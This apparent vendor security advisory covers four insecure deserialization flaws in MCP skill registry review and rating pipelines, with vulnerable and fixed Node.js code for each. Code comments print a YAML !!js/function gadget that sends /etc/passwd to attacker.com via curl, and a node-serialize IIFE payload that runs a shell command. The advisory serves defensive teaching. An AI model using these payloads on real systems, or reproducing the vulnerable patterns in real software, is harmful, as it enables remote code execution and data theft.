← Blog

Insecure Deserialization in MCP Skill Registry Skill Review and Rating Aggregation Pipeline Endpoints

SA-SKL-DESER73 documents four insecure deserialization vulnerabilities in the review and rating aggregation pipeline of MCP skill registries. The findings span RCE via unsafe YAML and node-serialize deserialization, eval injection via BSON Code type, and prototype pollution that disables authentication for all requests in the affected worker process.

SA-SKL-DESER73 findings
CRITICALDESER73-001 — Review aggregation config reads from Redis as YAML via yaml.load() DEFAULT_FULL_SCHEMA; !!js/function in reviewConfig.onAggregationComplete achieves RCE at every review aggregation event triggered by any user posting a review to the registry
CRITICALDESER73-002 — Rating model reads from MongoDB as BSON; BSON Code type at ratingProcessorFn field triggers eval() during rating computation at every rating submission; any authenticated user posting a rating can trigger arbitrary code execution in the rating worker
CRITICALDESER73-003 — Review event queue stored in Redis as MessagePack; __proto__.skipReviewAuth:true pollutes Object.prototype, disabling authentication for all subsequent review API requests in the same worker process until restart
CRITICALDESER73-004 — Rating result aggregation reads via node-serialize; IIFE gadget achieves RCE at aggregation time; reachable from any user viewing the skill rating badge, triggering the aggregation path that deserializes attacker-controlled Redis content

DESER73-001 — yaml.load RCE on review aggregation config

The review aggregation worker reads its configuration from a Redis key using yaml.load(configStr, {schema: yaml.DEFAULT_FULL_SCHEMA}). The DEFAULT_FULL_SCHEMA permits YAML tags including !!js/function, which constructs a JavaScript function from a string using new Function(). An attacker who can write to the reviewConfig Redis key (via SSRF, Redis injection, or compromise of the config management pipeline) can embed a !!js/function gadget in the onAggregationComplete field, achieving RCE at every review aggregation event.

Vulnerable
// DESER73-001 — VULNERABLE
// yaml.load with DEFAULT_FULL_SCHEMA permits !!js/function RCE gadgets.

const yaml = require('js-yaml');
const redis = require('./redis');

async function loadReviewAggregationConfig(skillId) {
  const configStr = await redis.get(`reviewConfig:${skillId}`);
  if (!configStr) return defaultConfig;
  // VULNERABLE: DEFAULT_FULL_SCHEMA allows !!js/function — RCE on deserialization
  return yaml.load(configStr, { schema: yaml.DEFAULT_FULL_SCHEMA });
}

// Malicious Redis value:
// onAggregationComplete: !!js/function >
//   function() { require('child_process').exec('curl attacker.com/$(cat /etc/passwd | base64)') }

RCE trigger: Every user who posts a review triggers the aggregation worker, which deserializes the config and calls onAggregationComplete(). If the Redis config has been poisoned with a !!js/function gadget, every review submission from any user executes attacker-controlled code in the aggregation worker's Node.js process.

Fixed
// DESER73-001 — FIXED
// Use CORE_SCHEMA (no JS-specific types) or JSON.parse for structured configs.

async function loadReviewAggregationConfig(skillId) {
  const configStr = await redis.get(`reviewConfig:${skillId}`);
  if (!configStr) return defaultConfig;
  // FIXED: CORE_SCHEMA — no !!js/function, !!js/regexp, !!js/undefined permitted
  const parsed = yaml.load(configStr, { schema: yaml.CORE_SCHEMA });
  // FIXED: allowlist — only expected config keys accepted; unknown keys rejected
  return validateReviewConfig(parsed);
}

DESER73-002 — BSON Code eval on rating processor function

The rating computation model is stored in MongoDB and loaded via the BSON driver. The model document includes a ratingProcessorFn field. If this field is stored as a BSON Code type (not a plain string), the MongoDB Node.js driver hydrates it as a Code object and the application calls eval() on it to execute the custom aggregation logic. Any user with write access to the rating model document (via MongoDB injection, misconfigured admin API, or insider access) can replace the ratingProcessorFn with malicious JavaScript, achieving RCE at every rating submission.

Vulnerable
// DESER73-002 — VULNERABLE
// BSON Code type deserialized and eval()'d as rating processor function.

const { MongoClient, Code } = require('mongodb');

async function computeRating(skillId, ratingData) {
  const model = await db.collection('ratingModels').findOne({ skillId });
  if (model?.ratingProcessorFn instanceof Code) {
    // VULNERABLE: eval() on BSON Code type — attacker-controlled RCE
    const fn = eval(`(${model.ratingProcessorFn.code})`);
    return fn(ratingData);
  }
  return defaultRatingComputation(ratingData);
}
Fixed
// DESER73-002 — FIXED
// Reject BSON Code type at deserialization; use configuration-driven computation only.

async function computeRating(skillId, ratingData) {
  const model = await db.collection('ratingModels').findOne(
    { skillId },
    { projection: { ratingWeights: 1, ratingAlgorithm: 1 } }
  );
  // FIXED: ratingProcessorFn excluded from projection — Code type never hydrated
  // FIXED: computation driven by declarative config (weights + algorithm enum), not eval
  return applyRatingAlgorithm(model?.ratingWeights ?? defaultWeights, ratingData);
}

DESER73-003 — MessagePack prototype pollution disabling review auth

The review event queue serializes events as MessagePack and stores them in Redis. The MessagePack deserializer is configured without prototype pollution protection. An attacker who can inject a crafted MessagePack blob into the queue (via SSRF to Redis or via the review submission endpoint using a specially crafted request body) can include a __proto__ key with skipReviewAuth: true. This pollutes Object.prototype for the entire worker process: every subsequent call to if (config.skipReviewAuth) returns true, disabling authentication for all review API requests until the worker restarts.

Vulnerable
// DESER73-003 — VULNERABLE
// MessagePack deserialization without prototype pollution guard.

const msgpack = require('@msgpack/msgpack');

async function processReviewEvent(queuedBlob) {
  // VULNERABLE: no reviver — __proto__.skipReviewAuth:true pollutes Object.prototype
  const event = msgpack.decode(queuedBlob);
  const config = getReviewProcessorConfig();
  if (config.skipReviewAuth) {  // now always true after pollution
    return processWithoutAuth(event);
  }
  return processWithAuth(event);
}
Fixed
// DESER73-003 — FIXED
// Use Object.create(null) target and validate structure after deserialization.

const msgpack = require('@msgpack/msgpack');

async function processReviewEvent(queuedBlob) {
  const raw = msgpack.decode(queuedBlob);
  // FIXED: copy to null-prototype object — __proto__ key ignored
  const event = Object.assign(Object.create(null), raw);
  // FIXED: validate event structure against schema before any config reads
  validateReviewEventSchema(event);
  return processWithAuth(event);
}

DESER73-004 — node-serialize IIFE RCE on rating badge aggregation

The rating result aggregation service caches serialized rating objects in Redis using node-serialize. When a user views a skill's rating badge, the badge service fetches the cached rating object and calls unserialize(). The node-serialize library's unserialize() function is known to execute IIFE (immediately-invoked function expression) gadgets of the form {"ratingFn":"_$$ND_FUNC$$_function(){...}()"}. Any attacker who can write to the rating cache Redis key can trigger arbitrary code execution on any worker that handles a rating badge request.

Vulnerable
// DESER73-004 — VULNERABLE
// node-serialize unserialize() executes IIFE gadgets in cached rating objects.

const serialize = require('node-serialize');
const redis = require('./redis');

async function getRatingBadge(skillId) {
  const cached = await redis.get(`ratingBadge:${skillId}`);
  if (cached) {
    // VULNERABLE: node-serialize IIFE gadget executes on unserialize
    return serialize.unserialize(cached);
  }
  return computeAndCacheRating(skillId);
}

// Malicious Redis value: {"score":"_$$ND_FUNC$$_function(){require('child_process').execSync('id>/tmp/pwned')}()"}
Fixed
// DESER73-004 — FIXED
// Replace node-serialize with JSON; validate structure after parse.

async function getRatingBadge(skillId) {
  const cached = await redis.get(`ratingBadge:${skillId}`);
  if (cached) {
    // FIXED: JSON.parse — no code execution on deserialization
    const parsed = JSON.parse(cached);
    // FIXED: validate against expected badge schema
    return validateRatingBadge(parsed);
  }
  return computeAndCacheRating(skillId);
}

Scan for SA-SKL-DESER73 in your MCP skill registry

SkillAudit detects unsafe yaml.load schemas, BSON Code type usage, MessagePack prototype pollution risk, and node-serialize in production paths across your codebase.

Run a free audit